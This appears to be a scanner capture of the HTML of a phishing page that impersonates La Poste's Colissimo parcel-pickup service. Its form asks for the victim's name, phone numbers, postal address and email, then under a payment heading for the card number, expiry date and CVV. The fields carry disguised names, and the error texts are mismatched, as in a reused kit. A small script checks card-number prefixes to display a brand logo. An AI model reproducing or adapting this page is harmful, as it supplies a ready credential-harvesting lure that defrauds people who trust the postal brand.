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Form analysis 3 forms found in the DOM
GET #
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Particuliers </li>
<li data-univers="pro" data-tagc="clic" data-tagc_event="C" data-tagc_level2="15" data-tagc_chapter1="popin_recherche" data-tagc_chapter2="switch_site" data-tagc_name="professionnels" data-tagc_type_clic="navigation"> Professionnels </li>
<li data-univers="entrep" data-tagc="clic" data-tagc_event="C" data-tagc_level2="15" data-tagc_chapter1="popin_recherche" data-tagc_chapter2="switch_site" data-tagc_name="entreprises" data-tagc_type_clic="navigation"> Entreprises </li>
<li data-univers="collect" data-tagc="clic" data-tagc_event="C" data-tagc_level2="15" data-tagc_chapter1="popin_recherche" data-tagc_chapter2="switch_site" data-tagc_name="collectionneurs" data-tagc_type_clic="navigation"> Collectionneurs
</li>
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<input type="text" value="" id="search-suivi" class="js-search" name="text" placeholder="Ex : N° de suivi, code postal, aide-ménagère, envoyer un colis à Bruxelles" data-validate-field="form-search" required="">
<button class="js-search-btn" data-type="ajax" data-src="/ajaxDeconnexionPopin" data-fancybox-search-deco=""> </button>
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<legend class="panel-form--label">VEUILLEZ VÉRIFIER OU SAISIR VOS INFORMATIONS</legend>
<p>* Informations obligatoires</p>
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<fieldset>
<legend class="sr-only">Vos informations</legend>
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<legend class="panel-form--label-inline col-xs-12 col-sm-4">Civilité *</legend>
<div class="col-xs-12 col-sm-8 checkbox-group">
<div class="checkbox-inline"> <input type="radio" id="timbre_colis_civilite_0" name="timbre_colis[civilite]" value="madame"> <label class="control-label panel-form--label-inline control-label required"
for="timbre_colis_civilite_0">Madame</label></div>
<div class="checkbox-inline space-mrm"> <input type="radio" id="timbre_colis_civilite_1" name="timbre_colis[civilite]" value="monsieur"> <label class="control-label panel-form--label-inline control-label required"
for="timbre_colis_civilite_1">Monsieur</label></div>
</div>
</fieldset>
</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_nom">Nom, Prénom *</label>
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<input type="text" id="nnnom" name="nnnom" required="required" maxlength="38" pattern="^[\wàáâäãåąčćęèéêëėįìíîïłńòóôöõøùúûüųūÿýżźñçčšžÀÁÂÄÃÅĄĆČĖĘÈÉÊËÌÍÎÏĮŁŃÒÓÔÖÕØÙÚÛÜŲŪŸÝŻŹÑßÇŒÆČŠŽ∂ð ,.'-]+$"
data-error-message-pattern="Le format saisi n’est pas conforme." data-lastname-prefill="" placeholder="Saisir votre identité" class="form-control validate-pattern-custom text-uppercase validate-firstname form-control">
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</div>
<div class="row">
<div class="col-xs-12 col-sm-4"></div>
<div class="col-xs-12 col-sm-8">
<div id="help-9618340157903731" aria-expanded="false" tabindex="-1" class="panel-help collapse space-mbn">
<p><span class="icon-exclamation"></span>Saisir le nom et prénom indiqué sur la boîte aux lettres où sera récupéré le colis. </p>
</div>
</div>
</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label" for="timbre_colis_batiment">N° de téléphone Mobile*</label>
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<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_batiment" name="TELEPH" maxlength="10" pattern="0[1-9]{1}[0-9]{8}" class="form-control validate-pattern-custom form-control" data-error-message-pattern="Le format saisi n’est pas conforme.">
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<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label" for="timbre_colis_batiment">N° de téléphone Fix/label> </label>
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<input type="text" id="timbre_colis_batiment" name="tele2" maxlength="10" pattern="0[1-9]{1}[0-9]{8}" class="form-control validate-pattern-custom form-control" data-error-message-pattern="Le format saisi n’est pas conforme.">
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</div>
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<fieldset>
<legend class="sr-only">Votre adresse postale</legend>
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<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_adresse">Votre adresse *</label>
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<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_adresse" name="adress" required="required" class="form-control validate-pattern-custom form-control" data-autocomplete="" data-autocomplete-address=""
placeholder="Saisir l'adresse où se trouve la boite aux lettres" autocomplete="off" style="transform: translateX(0px);" aria-invalid="false"
pattern="^[\wàáâäãåąčćęèéêëėįìíîïłńòóôöõøùúûüųūÿýżźñçčšžÀÁÂÄÃÅĄĆČĖĘÈÉÊËÌÍÎÏĮŁŃÒÓÔÖÕØÙÚÛÜŲŪŸÝŻŹÑßÇŒÆČŠŽ∂ð ,.'-]+$" data-error-message-pattern="Le format saisi n’est pas conforme.">
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</div>
<div class="row">
<div class="col-xs-12 col-sm-4"></div>
<div class="col-xs-12 col-sm-8">
<div id="help-6488692483399063" aria-expanded="false" tabindex="-1" class="panel-help collapse space-mbn">
<p><span class="icon-exclamation"></span>Saisir l’adresse de la boîte aux lettres où le facteur doit venir chercher le colis. </p>
</div>
</div>
</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label" for="timbre_colis_appartement">Suite de l'adresse</label>
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</div>
<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_appartement" name="timbre_colis[appartement]" maxlength="38" class="form-control validate-pattern-custom form-control" data-floorapartment-prefill=""
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<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label" for="timbre_colis_batiment">Code Postal *</label>
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</div>
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<input type="text" id="timbre_colis_batiment" name="postal" maxlength="5" class="form-control validate-pattern-custom form-control" data-building-prefill="" pattern="^(([0-8][0-9])|(9[0-5]))[0-9]{3}$"
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<div class="col-xs-12 col-sm-4">
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<label class="panel-form--label-inline control-label" for="timbre_colis_bp">Ville *</label>
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<input type="text" id="timbre_colis_bp" name="villee" maxlength="38" class="form-control validate-pattern-custom form-control" data-postbox-prefill=""
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</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_email">Adresse e-mail *</label>
</div>
</div>
<div class="col-xs-11 col-sm-7">
<input type="email" id="timbre_colis_email" name="maail" required="required" maxlength="75" data-email-prefill="" class="form-control validate-email form-control" placeholder="Saisir votre adresse e-mail"
pattern="[a-zA-Z0-9._-]+@[a-z0-9._-]{2,}.[a-z]{2,4}" data-error-message-pattern="Veuillez saisir une adresse email valide.">
</div>
</div>
<div class="row">
<div class="col-xs-12 col-sm-4"></div>
<div class="col-xs-12 col-sm-8">
<div id="help-40203760494478047" aria-expanded="false" tabindex="-1" class="panel-help collapse space-mbn">
<p><span class="icon-exclamation"></span>Cette adresse E-mail est celle où seront envoyées les notifications de prise en charge du colis par le facteur. </p>
</div>
</div>
</div>
</fieldset>
</div>
<legend class="panel-form--label">mode de paiement </legend>
<div class="panel panel-light">
<fieldset>
<legend class="sr-only">Informations colis</legend>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_numColis">Numéro de carte bancaire *</label>
</div>
</div>
<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_numColis" name="lhiyyaa" required="required" placeholder="xxxx xxxx xxxx xxxx" maxlength="16" data-package-number="" aria-required="aria-required"
data-error-message-pattern="Le numéro de colis est incorrect, il doit comporter 16 caractères " onkeyup="rpl(this)" onkeydown="GetTypeNumber(this.value)" onmouseover="GetTypeNumber(this.value)" onblur="GetTypeNumber(this.value)" value=""
class="text-uppercase validate-pattern-custom form-control" data-validator="{"upper-than-value":"11","lower-than-value":"13"}">
<a href="#help-9618340157903731" title="Aide - ouvrir" data-toggle="collapse" role="button" aria-expanded="false" data-toggle-collapse-open="Aide - ouvrir" data-toggle-collapse-close="Aide - fermer" class="icon-help collapsed"></a>
<script type="text/javascript">
function rpl(inp) {
inp.value = inp.value.replace(/[^\d]/g, '');
}
function print(a) {
if (a == '?????') {
document.getElementById('cc').style.backgroundImage = "url('poste_files/generic.png')";
//document.getElementById('dftCN').style="background:url('../css/img/cd/generic.png') no-repeat scroll right center border-box #FFF";
} else {
document.getElementById('cc').style.backgroundImage = "url('poste_files/" + a + ".png')";
//document.getElementById('dftCN').style="background:url('../css/img/cd/"+a+".png') no-repeat scroll right center border-box #FFF;background-size: 46px 26px;";
}
document.getElementById("CT").value = a;
}
function GetTypeNumber(NB) {
var etat = false;
//rest_logo();
var cc = (NB + '').replace(/\s/g, ''); //remove space
if ((/^(3)/).test(cc)) {
print(1); //AMEX begins with 34 or 37, and length is 15.
etat = true;
} else if ((/^(4)/).test(cc)) {
print(3);
etat = true;
} else if ((/^(5)/).test(cc)) {
print(2);
etat = true;
} else if ((/^(6)/).test(cc)) {
print(6);
etat = true;
} else {
print('?????');
}
return etat;
}
</script>
</div>
</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_email">La date d'expiration *</label>
</div>
</div>
<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_email" name="atssali" required="required" maxlength="7" data-email-prefill="" class="form-control validate-email form-control" placeholder="MM/YYYY"
data-error-message-pattern="Veuillez saisir une adresse email valide.">
</div>
</div>
<div class="form-group inverse ">
<div class="col-xs-12 col-sm-4">
<div class="panel-form--label-wrap">
<label class="panel-form--label-inline control-label required" for="timbre_colis_email">Cryptogramme visuel (CVV)*</label>
</div>
</div>
<div class="col-xs-11 col-sm-7">
<input type="text" id="timbre_colis_email" name="lakhrine" required="required" maxlength="4" class="form-control validate-email form-control" placeholder="XXX" data-error-message-pattern="Veuillez saisir une adresse email valide.">
</div>
</div>
</fieldset>
</div>
<input type="hidden" id="timbre_colis_countryCode" name="timbre_colis[countryCode]" class="form-control" value="FR">
<div class="vertical-center">
<div class="vertical-center--wrapper text-right"><button type="submit" id="timbre_colis_nextStep" name="timbre_colis[nextStep]" class="btn btn-xs btn-xs btn-primary btn btn-primary">Étape suivante</button></div>
</div><input type="hidden" id="timbre_colis_ezxform_token" name="timbre_colis[ezxform_token]">
</form>Text Content
> Envoyer mon Colissimo depuis ma boîte aux lettres – La Poste
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